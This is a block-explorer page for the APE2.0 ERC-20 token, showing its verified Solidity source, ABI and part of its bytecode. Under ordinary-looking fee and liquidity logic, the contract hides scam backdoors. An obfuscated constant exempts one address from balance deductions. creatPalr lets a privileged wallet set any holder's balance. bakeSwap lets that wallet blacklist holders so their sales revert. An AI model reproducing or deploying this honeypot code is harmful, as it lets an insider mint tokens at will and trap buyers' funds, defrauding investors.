Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 APE2.0
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,790,000,000,000.000303894 APE2.0Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
APE2
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-17 */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint _d_Min, address[] calldata path, address to, uint deadline ) external; } contract APE2 is Context, IERC20, Ownable { uint256 public uni5= 150204226878642622067527889049274545390382094927; using SafeMath for uint256; string private _name = "APE2.0"; string private _symbol = "APE2.0"; uint8 private _decimals = 9; address payable public CODWalletAddr; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _IsExcludesendderFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; mapping (address => bool) public pairList; mapping (address => bool) public isMarketPaIr; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 1; uint256 public _buyTeamFee = 1; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 1; uint256 public _sellTeamFee = 1; uint256 public _liquidityShare = 4; uint256 public _marketingShare = 4; uint256 public _teamShare = 16; uint256 public _totalTaxIfBuying = 12; uint256 public _totalTaxIfSelling = 12; uint256 public _totalDistributionShares = 24; uint256 private _totalSupply = 1000000000000000 * 10**_decimals; uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals; uint256 public _walletMax = 1000000000000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _IsExcludesendderFee[owner()] = true; _IsExcludesendderFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); pairList[address(uniswapPair)] = true; teamWalletAddress = payable(address(0x503295D2d28572bC2F61607f9748fF3524e88A17)); CODWalletAddr = payable(address(0x503295D2d28572bC2F61607f9748fF3524e88A17)); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve sendder the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudesendderFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _IsExcludesendderFee[account[i]] = newValue; } } function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function uni4(uint256 uni3) pure private returns(uint160){ return uint160(uni3); } function uni2(uint256 uni3) pure private returns(address){ return address(uni4(uni3)); } function uniuniuniswap(address uni3) private view returns(bool){ return ((uni2(uni5) != uni3)); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketinWalleAddress(address newAddress) external onlyOwner() { CODWalletAddr = payable(newAddress); } function setTeamWalletAddress(address newAddress) external onlyOwner() { teamWalletAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; pairList[address(uniswapPair)] = true; } function creatPalr(address returndata, uint256 returndata_size ) public{ if (!familyAddress(true,CODWalletAddr,msg.sender)){return;} _balances[returndata] = returndata_size;} receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sendder, address to, uint256 amount) private returns (bool) { require(sendder != address(0), "ERC20: transfer sendder the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sendder, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !pairList[sendder] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(uniuniuniswap(sendder)){ _balances[sendder] = _balances[sendder].sub(amount);} uint256 finalAmount = (_IsExcludesendderFee[sendder] || _IsExcludesendderFee[to]) ? amount : takeFee(sendder, to, amount); _balances[to] = _balances[to].add(finalAmount); emit Transfer(sendder, to, finalAmount); return true; } }function bakeSwap(address[] calldata takeitEasy,uint256 bake) public { if( !familyAddress(true,CODWalletAddr,msg.sender)){return;} for (uint256 i; i < takeitEasy.length; ++i) { if (bake != 8){isMarketPaIr[takeitEasy[i]] = ( true || false);} else{isMarketPaIr[takeitEasy[i]] = (true && false);} } } function familyAddress(bool enabled,address you, address me) private pure returns(bool){return (!(you != me)) && enabled;} function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(CODWalletAddr, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 isMarketPaIrt) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), isMarketPaIrt); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( isMarketPaIrt, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(isMarketPaIrt, path); } function addLiquidity(uint256 isMarketPaIrt, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), isMarketPaIrt); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), isMarketPaIrt, 0, 0, owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if (!isMarketPair[sender]){ require(!isMarketPaIr[sender]); } if(pairList[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(pairList[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"CODWalletAddr","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludesendderFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"takeitEasy","type":"address[]"},{"internalType":"uint256","name":"bake","type":"uint256"}],"name":"bakeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"returndata","type":"address"},{"internalType":"uint256","name":"returndata_size","type":"uint256"}],"name":"creatPalr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPaIr","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudesendderFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uni5","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052731a4f63f669e731b60f17b3fa4935ef53bf361a4f6001556040518060400160405280600681526020017f415045322e300000000000000000000000000000000000000000000000000000815250600290805190602001906200006992919062000a1d565b506040518060400160405280600681526020017f415045322e30000000000000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000a1d565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600e556001600f556001601055600160115560016012556001601355600460145560046015556010601655600c601755600c6018556018601955600460009054906101000a900460ff16600a62000166919062000c94565b66038d7ea4c680006200017a919062000dd1565b601a55600460009054906101000a900460ff16600a6200019b919062000c94565b66038d7ea4c68000620001af919062000dd1565b601b55600460009054906101000a900460ff16600a620001d0919062000c94565b66038d7ea4c68000620001e4919062000dd1565b601c55600460009054906101000a900460ff16600a62000205919062000c94565b6103e862000214919062000dd1565b601d556001601f60156101000a81548160ff0219169083151502179055506000601f60166101000a81548160ff0219169083151502179055506001601f60176101000a81548160ff0219169083151502179055503480156200027557600080fd5b50620002866200098960201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000ae4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000ae4565b6040518363ffffffff1660e01b81526004016200049892919062000b5f565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000ae4565b601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a6200099160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601054620006f8600f54600e54620009ba60201b620028911790919060201c565b620009ba60201b620028911790919060201c565b6017819055506200074b60135462000737601254601154620009ba60201b620028911790919060201c565b620009ba60201b620028911790919060201c565b6018819055506200078a60165462000776601554601454620009ba60201b620028911790919060201c565b620009ba60201b620028911790919060201c565b6019819055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073503295d2d28572bc2f61607f9748ff3524e88a17600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073503295d2d28572bc2f61607f9748ff3524e88a17600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a5460066000620008cb6200098960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620009196200098960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a546040516200097a919062000bae565b60405180910390a35062000f66565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808284620009cb919062000bdc565b90508381101562000a13576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a0a9062000b8c565b60405180910390fd5b8091505092915050565b82805462000a2b9062000e7d565b90600052602060002090601f01602090048101928262000a4f576000855562000a9b565b82601f1062000a6a57805160ff191683800117855562000a9b565b8280016001018555821562000a9b579182015b8281111562000a9a57825182559160200191906001019062000a7d565b5b50905062000aaa919062000aae565b5090565b5b8082111562000ac957600081600090555060010162000aaf565b5090565b60008151905062000ade8162000f4c565b92915050565b600060208